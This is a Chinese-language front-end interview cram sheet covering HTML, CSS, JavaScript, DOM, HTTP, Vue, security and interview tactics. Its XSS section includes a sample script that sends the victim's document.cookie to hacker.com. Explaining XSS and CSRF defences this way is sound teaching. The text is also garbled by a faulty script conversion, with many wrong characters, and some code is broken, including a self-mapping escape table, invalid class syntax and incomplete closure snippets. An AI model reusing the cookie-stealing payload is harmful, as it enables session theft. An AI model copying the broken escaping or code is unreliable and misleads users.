面試2.0

純應試向押題 大部分答案能夠在谷歌上搜到。

套路

舉例
將不會的變成會的
侃侃而談
HTML 押題

（必考） 你是如何理解 HTML 語義化的？
第一種舉例，段落用 p，邊欄用 aside，主要內容用 main 標籤
第二種
最開始是 PHP 後端寫 HTML，不會 CSS，因而就用 table 來佈局。table 使用展現表格的。嚴重違反了 HTML 語義化。
後來有了專門的寫 CSS 的前端，他們會使用 DIV + CSS 佈局，主要是用 float 和絕對定位佈局。稍微符合了 HTML 語義化。
再後來，前端專業化，知道 HTML 的各個標籤的用法，因而會使用恰當的標籤來展現內容，而不是傻傻的全用 div，會盡可能使用 h一、ul、p、main、header 等標籤
語義化的好處是已讀、有利於SEO等。
第三種：對面試官說請看個人博客 zhuanlan.zhihu.com/p/32570423
meta viewport 是作什麼用的，怎麼寫？
死背：
控制頁面在移動端不要縮小顯示。
侃侃而談
一開始，全部頁面都是給PC準備的，喬布斯推出 iPhone 3GS，頁面是不適應手機屏幕的，因此喬布斯的工程師想了一個辦法，默認把手機模擬成 980px，頁面縮小。 後來，智能手機普及，這個功能在部分網站不須要了，因此咱們就用 meta:vp 讓手機不要縮小個人網頁。

canvas 元素是幹什麼的？
項目丟給他。
看 MDN 的 canvas 入門手冊。
CSS 押題

（必考） 說說盒模型。
舉例：
content-box: width == 內容區寬度
border-box: width == 內容區寬度 + padding 寬度 + border 寬度
css reset 和 normalize.css 有什麼區別？
考英文：
reset 重置，以前的樣式我不要，a{color: red;}，拋棄默認樣式
normalize 讓全部瀏覽器的標籤都跟標準規定的默認樣式一致，各瀏覽器上的標籤默認樣式基本統一。
（必考）如何居中？
平時總結：
水平居中：
內聯：爸爸身上寫 text-align:center;
塊級：margin-left: auto; margin-right: auto;
垂直居中： jscode.me/t/topic/193…
選擇器優先級如何肯定？
選擇器越具體，優先級越高。 #xxx 大於 .yyy
一樣優先級，寫在後面的覆蓋前面的。
color: red !important; 優先級最高。
BFC 是什麼？
舉例：
overflow:hidden 清除浮動。（方方老是用 .clearfix 清除浮動，堅定不用 overflow:hidden 清除浮動）
overflow:hidden 取消父子 margin 合併。jsbin.com/conulod/1/e… （方方用 padding-top: 1px;）
如何清除浮動？
overflow: hidden （方方反對）
.clearfix 清除浮動寫在爸爸身上
.clearfix::after{ content: ''; display: block; clear:both; } .clearfix{ zoom: 1; /* IE 兼容 */ }
JS 押題

JS 有哪些數據類型？
string number bool undefined null object symbol
object 包括了數組、函數、正則、日期等對象
一旦出現（數組、函數、正則、日期、NaN）直接0分
（必考） Promise 怎麼使用？
then
.ajax(...).then(成功函數, 失敗函數).then(成功函數2, 失敗函數2)
如何本身生成 Promise 對象
function xxx(){
return new Promise(function(resolve, reject){
setTimeout(()=>{
resolve() 或者 reject()
},3000)
})
}
xxx().then(...)
（必考） AJAX 手寫一下？
let xhr = new XMLHttpRequest()
xhr.open('POST', '/xxxx')
xhr.onreadystatechange = function(){
if(xhr.readyState === 4 && xhr.status === 200){
console.log(xhr.responseText)
}
}
xhr.send('a=1&b=2')
（必考）閉包是什麼？

function (){
var n = 0
return function(){
n += 1
}
}

let adder = ()
adder() // n === 1
adder() // n === 2
console.log(n) // n is not defined
正確參考：zhuanlan.zhihu.com/p/22486908

（必考）這段代碼裏的 this 是什麼？
fn() 裏面的 this 就是 window
fn() 是 strict mode，this 就是 undefined
a.b.c.fn() 裏面的 this 就是 a.b.c
new F() 裏面的 this 就是新生成的實例
() => console.log(this) 裏面 this 跟外面的 this 的值如出一轍
正確參考：zhuanlan.zhihu.com/p/23804247
（必考）什麼是當即執行函數？使用當即執行函數的目的是什麼？

;(function (){
     var name
 }())
 ;(function (){
     var name
 })()
 !!!!!!!function (){
     var name
 }()
 ~function (){
     var name
 }()
複製代碼

造出一個函數做用域，防止污染全局變量

ES 6 新語法

{
     let  name
 }
複製代碼

async/await 語法瞭解嗎？目的是什麼？

function returnPromise(){
     return new Promise( function(resolve, reject){
         setTimeout(()=>{
             resolve('fuck')
         },3000)
     })
 }

 returnPromise().then((result)=>{
     result === 'fuck'
 })

 var result = await returnPromise()
 result === 'fuck'
複製代碼

把異步代碼寫成同步代碼。

如何實現深拷貝？
JSON 來深拷貝
var a = {...}
var b = JSON.parse( JSON.stringify(a) )
缺點：JSON 不支持函數、引用、undefined、RegExp、Date……
遞歸拷貝

function clone(object){
     var object2
     if(! (object instanceof Object) ){
         return object
     }else if(object instanceof Array){
         object2 = []
     }else if(object instanceof Function){
         object2 = eval(object.toString())
     }else if(object instanceof Object){
         object2 = {}
     }
     你也能夠把 Array Function Object 都當作 Object 來看待，參考 https://juejin.im/post/587dab348d6d810058d87a0a
     for(let key in object){
         object2[key] = clone(object[key])
     }
     return object2
 }
複製代碼

環
RegExp、Date、Set、Symbol、WeakMap
如何實現數組去重？ 計數排序的邏輯（只能正整數）

var a = [4,2,5,6,3,4,5]
 var hashTab = {}
 for(let i=0; i<a.length;i++){
     if(a[i] in hashTab){
         // 什麼也不作
     }else{
         hashTab[ a[i] ] = true
     }
 }
 //hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}
 console.log(Object.keys(hashTab)) // ['4','2','5','6','3']
複製代碼

Set 去重
Array.from(new Set(a))
WeakMap 任意類型去重
如何用正則實現 string.trim() ？

function trim(string){
     return string.replace(/^\s+|\s+$/g, '')
 }
複製代碼

JS 原型是什麼？
舉例
var a = [1,2,3] 只有0、一、二、length 4 個key
爲何能夠 a.push(4) ，push 是哪來的？
a.proto === Array.prototype
push 就是沿着 a.proto 找到的，也就是 Array.prototype.push
Array.prototype 還有不少方法，如 join、pop、slice、splice
Array.prototype 就是 a 的原型（proto）
參考：zhuanlan.zhihu.com/p/23090041
ES 6 中的 class 瞭解嗎？
把 MDN class 章節看完
記住一個例子
JS 如何實現繼承？

原型鏈

function Animal(){
      this.body = '肉體'
  }
  Animal.prototype.move = function(){

  }

  function Human(name){
      Animal.apply(this, arguments)
      this.name = name
  }
  // Human.prototype.__proto__ = Animal.prototype // 非法

  var f = function(){}
  f.prototype = Animal.prototype
  Human.prototype = new f()

  Human.prototype.useTools = function(){}

  var frank = new Human()
複製代碼

extends 關鍵字

class Animal{
      constructor(){
          this.body = '肉體'
      },
      move(){}
  }
  class Human extends Animal{
      constructor(name){
          super()
          this.name = name
      },
      useTools(){}
  }
  var frank = new Human()
複製代碼

== 相關題目直接反着答（放棄）

DOM 押題

DOM 事件模型是什麼？
冒泡
捕獲
若是這個元素是被點擊的元素，那麼捕獲不必定在冒泡以前，順序是由監聽順序決定的。
移動端的觸摸事件瞭解嗎？
touchstart touchmove touchend touchcancel
模擬 swipe 事件：記錄兩次 touchmove 的位置差，若是後一次在前一次的右邊，說明向右滑了。
事件委託是什麼？有什麼好處？

假設父元素有4個兒子，我不監聽4個兒子，而是監聽父元素，看觸發事件的元素是哪一個兒子，這就是事件委託。
能夠監聽尚未出生的兒子（動態生成的元素）。省監聽器。

function listen(element, eventType, selector, fn){
 element.addEventListener(eventType, e=>{
     if(e.target.matches(selector)){
         fn.call(el, e, el)
     }
 })
}// 有 bug 可是能夠應付面試官的事件委託
function listen(element, eventType, selector, fn) {
 element.addEventListener(eventType, e => {
     let el = e.target
     while (!el.matches(selector)) {
         if (element === el) {
             el = null
             break
         }
         el = el.parentNode
     }
     el && fn.call(el, e, el)
 })
 return element
} // 工資 12k+ 的前端寫的事件委託
listen(ul, 'click', 'li', ()=>{})

ul>li*5>span
複製代碼

HTTP 押題

HTTP 狀態碼知道哪些？
301 和 302 的區別是什麼？
301 永久重定向，瀏覽器會記住
302 臨時重定向
HTTP 緩存怎麼作？
Cache-Control: max-age=300
cdn.com/1.js?v=1 避開緩存
Cache-Control 和 Etag 的區別是什麼？
Cookie 是什麼？Session 是什麼？
Cookie
HTTP響應經過 Set-Cookie 設置 Cookie
瀏覽器訪問指定域名是必須帶上 Cookie 做爲 Request Header
Cookie 通常用來記錄用戶信息
Session
Session 是服務器端的內存（數據）
Session 通常經過在 Cookie 裏記錄 SessionID 實現
SessionID 通常是隨機數
LocalStorage 和 Cookie 的區別是什麼？
Cookie 會隨請求被髮到服務器上，而 LocalStorage 不會
Cookie 大小通常4k如下，LocalStorage 通常5Mb 左右
（必考）GET 和 POST 的區別是什麼？
參數。GET 的參數放在 url 的查詢參數裏，POST 的參數（數據）放在請求消息體裏。
安全（扯淡）。GET 沒有 POST 安全（都不安全）
GET 的參數（url查詢參數）有長度限制，通常是 1024 個字符。POST 的參數（數據）沒有長度限制（扯淡，4~10Mb 限制）
包。GET 請求只須要發一個包，POST 請求須要發兩個以上包（由於 POST 有消息體）（扯淡，GET 也能夠用消息體）
GET 用來讀數據，POST 用來寫數據，POST 不冪等（冪等的意思就是無論發多少次請求，結果都同樣。）
（必考）怎麼跨域？JSONP 是什麼？CORS 是什麼？postMessage 是什麼？
JSONP
CORS
postMessage 看一下 MDN
Vue 押題

（必考）Vue 有哪些生命週期鉤子函數？

看文檔：cn.vuejs.org/v2/api/#選項-…
（必考）Vue 如何實現組件通訊？

父子通訊（使用 Prop 傳遞數據、使用 v-on 綁定自定義事件）
爺孫通訊（經過兩對父子通訊，爺爸之間父子通訊，爸兒之間父子通訊）
兄弟通訊（new Vue() 做爲 eventBus）
Vuex 的做用是什麼？
看文檔、博客 vuex.vuejs.org/zh-cn/intro…
VueRouter 路由是什麼？
看文檔、博客
Vue 的雙向綁定是如何實現的？有什麼缺點？
看文檔，深刻響應式原理
Computed 計算屬性的用法？跟 Methods 的區別。
zhuanlan.zhihu.com/p/33778594
算法押題

排序算法（背誦冒泡排序、選擇排序、計數排序、快速排序、插入排序、歸併排序）
二分查找法
翻轉二叉樹
把上面三個背一下，算法題必過。

安全押題

什麼是 XSS 攻擊？如何預防？

舉例

div.innerHTML = userComment  // userComment 內容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
  // 惡意就被執行了，這就是 XSS
複製代碼

預防
不要使用 innerHTML，改爲 innerText，script 就會被當成文本，不執行
若是你同樣要用 innerHTML，字符過濾
把 < 替換成 <
把 > 替換成 >
把 & 替換成 &
把 ' 替換成 '
把 ' 替換成 "
代碼 div.innerHTML = userComment.replace(/>/g, '<').replace...
使用 CSP Content Security Policy
什麼是 CSRF 攻擊？如何預防？
過程
用戶在 qq.com 登陸
用戶切換到 hacker.com（惡意網站）
hacker.com 發送一個 qq.com/add_friend 請求，讓當前用戶添加 hacker 爲好友。
用戶在不知不覺中添加 hacker 爲好友。
用戶沒有想發這個請求，可是 hacker 僞造了用戶發請求的假象。
避免
檢查 referer，qq.com 能夠拒絕來自 hacker.com 的請求
csrf_token 來解決
Webpack 題

轉譯出的文件過大怎麼辦？
使用 code split
寫法 import('xxx').then(xxx=>{console.log(xxx)})
xxx 模塊就是按需加載的
轉譯速度慢什麼辦？
方方不會。
寫過 webpack loader 嗎？
www.alloyteam.com/2016/01/web…
發散題

從輸入 URL 到頁面展示中間發生了什麼？
DNS 查詢 DNS 緩存
創建 TCP 鏈接（三次握手）鏈接複用
發送 HTTP 請求（請求的四部分）
後臺處理請求
監聽 80 端口
路由
渲染 HTML 模板
生成響應
發送 HTTP 響應
關閉 TCP 鏈接（四次揮手）
解析 HTML
下載 CSS（緩存
解析 CSS
下載 JS（緩存
解析 JS
下載圖片
解析圖片
渲染 DOM 樹
渲染樣式樹
執行 JS
你沒有工做經歷嗎？

一開始就問，能夠拜拜。
中間問最後問，他想壓價。
解法：用項目打動它：你看下個人做品，跟一年經驗的前端差距大嗎？大家團隊一年工做經驗的前端，寫的出來我這樣的做品嗎？憑個人做品，我以爲我能夠勝任貴司的工做。
你遇到過最難的問題是什麼？
www.zhihu.com/question/35…

你的指望薪資是多少？
你想要的工資 加 1000~2000。
（任何你不會的問題）
認可不會
詢問詳細細節：你問的是否是XXX方面的知識？請問你想問的是哪方面知識？
根據面試官的回答，向有利於本身的方向引導話題。
刁鑽代碼題

map加parseInt

[1,2,3].map(parseInt)   

 parseInt(1,0, array) // 1   
 parseInt(2,1, array) // NaN   
 parseInt(3,2, array) // NaN   
a.x = a = {}   
 var a = {n:1};   
 var b = a;   
 a.x = a = {n:2};   
問 a.x 是多少？   
(a ==1 && a== 2 && a==3) 可能爲 true 嗎？   
a = {   
  value: 0,   
  toString(){   
    a.value += 1   
    return a.value    
  }   
}   複製代碼